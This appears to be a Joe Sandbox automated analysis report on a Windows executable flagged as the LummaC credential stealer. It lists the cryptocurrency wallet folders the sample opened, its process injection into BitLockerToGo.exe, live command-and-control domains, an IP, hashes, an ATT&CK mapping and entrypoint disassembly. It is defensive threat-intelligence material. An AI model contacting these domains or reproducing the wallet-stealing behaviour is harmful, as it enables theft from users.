Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Directory queried: C:\Users\user\Documents

Jump to behavior

Source: Yara match

File source: Process Memory Space: BitLockerToGo.exe PID: 1612, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 1612, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	311 Process Injection	1 Masquerading	1 OS Credential Dumping	111 Security Software Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	11 Virtualization/Sandbox Evasion	LSASS Memory	11 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	311 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	31 Data from Local System	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Deobfuscate/Decode Files or Information	NTDS	11 File and Directory Discovery	Distributed Component Object Model	2 Clipboard Data	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	12 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

⊘No Antivirus matches

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	0%	URL Reputation	safe
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://support.microsof	0%	URL Reputation	safe
http://crt.rootca1.amazontrust.com/rootca1.cer0?	0%	URL Reputation	safe
plaintediousidowsko.shop	0%	Avira URL Cloud	safe
https://stiffraspyofkwsl.shop/	0%	Avira URL Cloud	safe
obsceneclassyjuwks.shop	0%	Avira URL Cloud	safe
https://stiffraspyofkwsl.shop/api	0%	Avira URL Cloud	safe
http://ocsp.rootca1.amazontrust.com0:	0%	Avira URL Cloud	safe
https://stiffraspyofkwsl.shop/)	0%	Avira URL Cloud	safe
https://stiffraspyofkwsl.shop/l	0%	Avira URL Cloud	safe
zippyfinickysofwps.shop	0%	Avira URL Cloud	safe
stiffraspyofkwsl.shop	0%	Avira URL Cloud	safe
acceptabledcooeprs.shop	0%	Avira URL Cloud	safe
https://stiffraspyofkwsl.shop/-	0%	Avira URL Cloud	safe
https://stiffraspyofkwsl.shop/apibu4	0%	Avira URL Cloud	safe
https://stiffraspyofkwsl.shop/D	0%	Avira URL Cloud	safe
https://stiffraspyofkwsl.shop/G	0%	Avira URL Cloud	safe
sweetsquarediaslw.shop	0%	Avira URL Cloud	safe
boredimperissvieos.shop	0%	Avira URL Cloud	safe
holicisticscrarws.shop	0%	Avira URL Cloud	safe
https://stiffraspyofkwsl.shop/z	0%	Avira URL Cloud	safe
https://stiffraspyofkwsl.shop/O	0%	Avira URL Cloud	safe
https://imp.mt48.net/static?id=	0%	Avira URL Cloud	safe
miniaturefinerninewjs.shop	0%	Avira URL Cloud	safe
https://stiffraspyofkwsl.shop/U	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
stiffraspyofkwsl.shop	172.67.189.159	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
plaintediousidowsko.shop	true	Avira URL Cloud: safe	unknown
acceptabledcooeprs.shop	true	Avira URL Cloud: safe	unknown
zippyfinickysofwps.shop	true	Avira URL Cloud: safe	unknown
obsceneclassyjuwks.shop	true	Avira URL Cloud: safe	unknown
stiffraspyofkwsl.shop	true	Avira URL Cloud: safe	unknown
https://stiffraspyofkwsl.shop/api	false	Avira URL Cloud: safe	unknown
holicisticscrarws.shop	true	Avira URL Cloud: safe	unknown
boredimperissvieos.shop	true	Avira URL Cloud: safe	unknown
sweetsquarediaslw.shop	true	Avira URL Cloud: safe	unknown
miniaturefinerninewjs.shop	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	BitLockerToGo.exe, 00000002.00000003.1896028998.0000000004B11000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1896084299.000000000092F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	BitLockerToGo.exe, 00000002.00000003.1896028998.0000000004B11000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1896084299.000000000092F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	BitLockerToGo.exe, 00000002.00000003.1926572167.00000000008ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	BitLockerToGo.exe, 00000002.00000003.1896028998.0000000004B11000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1896084299.000000000092F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://stiffraspyofkwsl.shop/)	BitLockerToGo.exe, 00000002.00000003.1915293731.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1915133981.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1915065369.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	BitLockerToGo.exe, 00000002.00000003.1926572167.00000000008ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	BitLockerToGo.exe, 00000002.00000003.1896028998.0000000004B11000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1896084299.000000000092F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	BitLockerToGo.exe, 00000002.00000003.1925524590.0000000004B1D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	BitLockerToGo.exe, 00000002.00000003.1934728135.00000000008EB000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1934142380.00000000008EB000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1933568579.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://stiffraspyofkwsl.shop/	BitLockerToGo.exe, 00000002.00000003.1887999483.00000000008A4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1924754245.00000000008F4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1895445665.000000000086C000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1933568579.00000000008F4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1942683777.00000000008F4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1942883574.00000000008F4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1895540064.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1926572167.00000000008F4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1915133981.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1915065369.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.2006236962.0000000000848000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2005760957.00000000008F4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.2006403113.00000000008F4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1895445665.000000000088C000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1925311469.00000000008F4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	BitLockerToGo.exe, 00000002.00000003.1896028998.0000000004B11000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1896402300.0000000000931000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1896084299.000000000092F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://stiffraspyofkwsl.shop/l	BitLockerToGo.exe, 00000002.00000003.1942683777.00000000008F4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1942883574.00000000008F4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	BitLockerToGo.exe, 00000002.00000003.1925524590.0000000004B1D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	BitLockerToGo.exe, 00000002.00000003.1895742880.0000000004B3D000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1895742880.0000000004B36000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	BitLockerToGo.exe, 00000002.00000003.1895742880.0000000004B3D000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1895742880.0000000004B36000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stiffraspyofkwsl.shop/-	BitLockerToGo.exe, 00000002.00000003.1942683777.00000000008F4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	BitLockerToGo.exe, 00000002.00000003.1896028998.0000000004B11000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1896402300.0000000000931000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1896084299.000000000092F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://stiffraspyofkwsl.shop/z	BitLockerToGo.exe, 00000002.00000003.1924754245.00000000008F4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1933568579.00000000008F4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1926572167.00000000008F4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1925311469.00000000008F4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	BitLockerToGo.exe, 00000002.00000003.1926244631.0000000004C3A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	BitLockerToGo.exe, 00000002.00000003.1896028998.0000000004B11000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1896402300.0000000000931000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1896084299.000000000092F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	BitLockerToGo.exe, 00000002.00000003.1934728135.00000000008EB000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1934142380.00000000008EB000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1933568579.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	BitLockerToGo.exe, 00000002.00000003.1926572167.00000000008ED000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://stiffraspyofkwsl.shop/G	BitLockerToGo.exe, 00000002.00000003.1915133981.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1915065369.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	BitLockerToGo.exe, 00000002.00000003.1925524590.0000000004B1D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	BitLockerToGo.exe, 00000002.00000003.1925524590.0000000004B1D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://stiffraspyofkwsl.shop/apibu4	BitLockerToGo.exe, 00000002.00000003.2005791791.000000000088C000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2005867986.00000000008D9000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.2006372871.00000000008DA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	BitLockerToGo.exe, 00000002.00000003.1895742880.0000000004B12000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	BitLockerToGo.exe, 00000002.00000003.1896028998.0000000004B11000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1896402300.0000000000931000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1896084299.000000000092F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://stiffraspyofkwsl.shop/D	BitLockerToGo.exe, 00000002.00000003.1895445665.0000000000880000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.microsof	BitLockerToGo.exe, 00000002.00000003.1895742880.0000000004B3D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	BitLockerToGo.exe, 00000002.00000003.1925524590.0000000004B1D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://stiffraspyofkwsl.shop/O	BitLockerToGo.exe, 00000002.00000003.1887999483.00000000008A4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1895540064.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1895445665.000000000088C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://imp.mt48.net/static?id=	BitLockerToGo.exe, 00000002.00000003.1934728135.00000000008EB000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1934142380.00000000008EB000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1933568579.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	BitLockerToGo.exe, 00000002.00000003.1895742880.0000000004B12000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	BitLockerToGo.exe, 00000002.00000003.1926244631.0000000004C3A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	BitLockerToGo.exe, 00000002.00000003.1896028998.0000000004B11000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1896402300.0000000000931000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1896084299.000000000092F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	BitLockerToGo.exe, 00000002.00000003.1934728135.00000000008EB000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1934142380.00000000008EB000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1933568579.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://stiffraspyofkwsl.shop/U	BitLockerToGo.exe, 00000002.00000003.1915133981.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1915065369.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.189.159	stiffraspyofkwsl.shop	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1435737
Start date and time:	2024-05-03 02:56:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/0@1/1
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target file.exe, PID 6944 because there are no executed function
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
02:57:21	API Interceptor	8x Sleep call for process: BitLockerToGo.exe modified

Joe Sandbox View / Context

IPs

⊘No context

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
stiffraspyofkwsl.shop	lfY08S61Ig.exe	Get hash	malicious	LummaC	Browse	104.21.81.139

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	http://www.paviarealestate.com	Get hash	malicious	HTMLPhisher	Browse	104.22.0.204
	https://www.bjvpza.cn/	Get hash	malicious	Unknown	Browse	104.22.39.239
	file.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.4.15
	https://broken-rain-1a74.1rwvvy66.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	172.64.154.107
	https://rdtetsyutfuyfrxytf.azurewebsites.net/	Get hash	malicious	TechSupportScam	Browse	104.17.25.14
	https://doc-54.jimdosite.com	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://www.uhnrya.cn/	Get hash	malicious	Unknown	Browse	104.22.39.239
	https://u44238375.ct.sendgrid.net/ls/click?upn=u001.9AsucPp4zP0gr32MmqN46Ca97P9HJMsiL8PsYH2wBLS5GwJlqoobKWhMdUVIedAMe4LyMgQ7NM8LfDosJkyKLUglurVwqAzf-2BdbQ-2BGBdv-2BoguQ0HpDttE7YxTyub76yBwMrv9q-2BUQTALmnRk9vxLJY897XSLn4EFaptFccEkQhkg088XcaXDkt5VGoxEIMnUpmM-2FVXiyNvsvYY2tzQoKnOlupuWTHpjbe-2Fp0AtR4ASY-3Dx2F-_5AQtw215kf05WwYFhg3cZz-2BKu5qlyvVzK0FHOE6SFbSY-2F-2Bu9cg-2F-2F4qPxOtKBVRGzAfX0W-2F5dnsI5pygnFXo8-2B5C0zcqr-2FoOX2gs-2BnYeOkQ2Psb2FKSHtuQgO8Viqrc4L-2B8BEWB6-2BLtyj4b-2FyH3NbU0gi0ascLj88F7XD0o4iWBAcCSHvuYMHy1anMCj2qAqhZhIVbNzB-2FPuF1hVupZCtQbbXyvnae2k0hq3abQJPktc-3D	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	2024 12_59_31 a.m..js	Get hash	malicious	WSHRAT	Browse	104.20.3.235
	https://portal.cpscompressors.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	RisePro Stealer	Browse	172.67.189.159
	2024 12_59_31 a.m..js	Get hash	malicious	WSHRAT	Browse	172.67.189.159
	Dadebehring PendingInvoiceBankDetails.JS.js	Get hash	malicious	WSHRAT	Browse	172.67.189.159
	PendingInvoiceBankDetails.JS.js	Get hash	malicious	WSHRAT	Browse	172.67.189.159
	Update on Payment.js	Get hash	malicious	WSHRAT	Browse	172.67.189.159
	deobfuscated.js	Get hash	malicious	Unknown	Browse	172.67.189.159
	deobfuscated.js	Get hash	malicious	Unknown	Browse	172.67.189.159
	GLAS_DeploymentMatrix_Full_26694_20240502_075604.xlsm	Get hash	malicious	Unknown	Browse	172.67.189.159
	vEaFCBsRb7.exe	Get hash	malicious	RisePro Stealer	Browse	172.67.189.159
	JJXXAhUWC.ps1	Get hash	malicious	Unknown	Browse	172.67.189.159

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Entropy (8bit):	6.430023377352553
TrID:	Win64 Executable (generic) (12005/4) 74.95% Generic Win/DOS Executable (2004/3) 12.51% DOS Executable Generic (2002/1) 12.50% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.04%
File name:	file.exe
File size:	6'055'936 bytes
MD5:	16f894f264d824eb23ebeb77bd860de2
SHA1:	31b1dc2a8e6953adfabe45d481588fbabbfd040c
SHA256:	eadc77f7e8f3fe9dedec2de227dfa7bc5a44a8888b0df72cc113f2f49ec6674b
SHA512:	8cad269d39d0ab80f374f7df8b09fd3494a16395fa815827f3e59604fa0ae7050feb38d85b49eaf2b43d33cb124fd978d0e8c69907eefe75df5a6c246ae90137
SSDEEP:	49152:jkh7b4TI46e3DOEZI07Xbhsgqn6kJBksELA3xjN5EAoKRA4PLkX6dRxrBctWqHyo:YtsjW0Xqn6q1tE0atve
TLSH:	A3565A03ED9545E4C0EAD53189669263BB31BC484B312BD72AA0F7793F72BD06E7A704
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................$..&..d\..<.............@............................. c.......\...`... ............................

File Icon


Icon Hash:	32e68e99bbbebeae

Static PE Info

General

Entrypoint:	0x1400014c0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, DEBUG_STRIPPED
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x0 [Thu Jan 1 00:00:00 1970 UTC]
TLS Callbacks:	0x40265150, 0x1, 0x40265120, 0x1, 0x40268bb0, 0x1
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	1
File Version Major:	6
File Version Minor:	1
Subsystem Version Major:	6
Subsystem Version Minor:	1
Import Hash:	5929190c8765f5bc37b052ab5c6c53e7

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [00594F55h]
mov dword ptr [eax], 00000001h
call 00007F489116107Fh
nop
nop
dec eax
add esp, 28h
ret
nop dword ptr [eax]
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [00594F35h]
mov dword ptr [eax], 00000000h
call 00007F489116105Fh
nop
nop
dec eax
add esp, 28h
ret
nop dword ptr [eax]
dec eax
sub esp, 28h
call 00007F48913CFDDCh
dec eax
test eax, eax
sete al
movzx eax, al
neg eax
dec eax
add esp, 28h
ret
nop
nop
nop
nop
nop
nop
nop
dec eax
lea ecx, dword ptr [00000009h]
jmp 00007F4891161399h
nop dword ptr [eax+00h]
ret
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword ptr [eax]
inc edi
outsd
and byte ptr [edx+75h], ah
imul ebp, dword ptr [esp+20h], 203A4449h
and dh, byte ptr [edi]
outsd
jnbe 00007F489116140Fh
inc edi
pop edx
xor al, 76h
dec edi
cmp byte ptr [ebx+75h], ch
je 00007F489116143Bh
push 7A54374Bh
insd
das
dec ebx
jns 00007F4891161429h
sub eax, 67765368h
dec ebx
xor eax, 73387969h
insb
insd
inc ebp
xor dword ptr [eax+6Ah], edx
das
dec esp
je 00007F489116142Eh
push 00000047h
imul ebp, dword ptr [4F573457h], 00383052h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x60b000	0x4e	.edata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x60c000	0x13d0	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x610000	0x1434f	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x597000	0xe1cc	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x625000	0xc188	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x595d80	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x60c47c	0x440	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
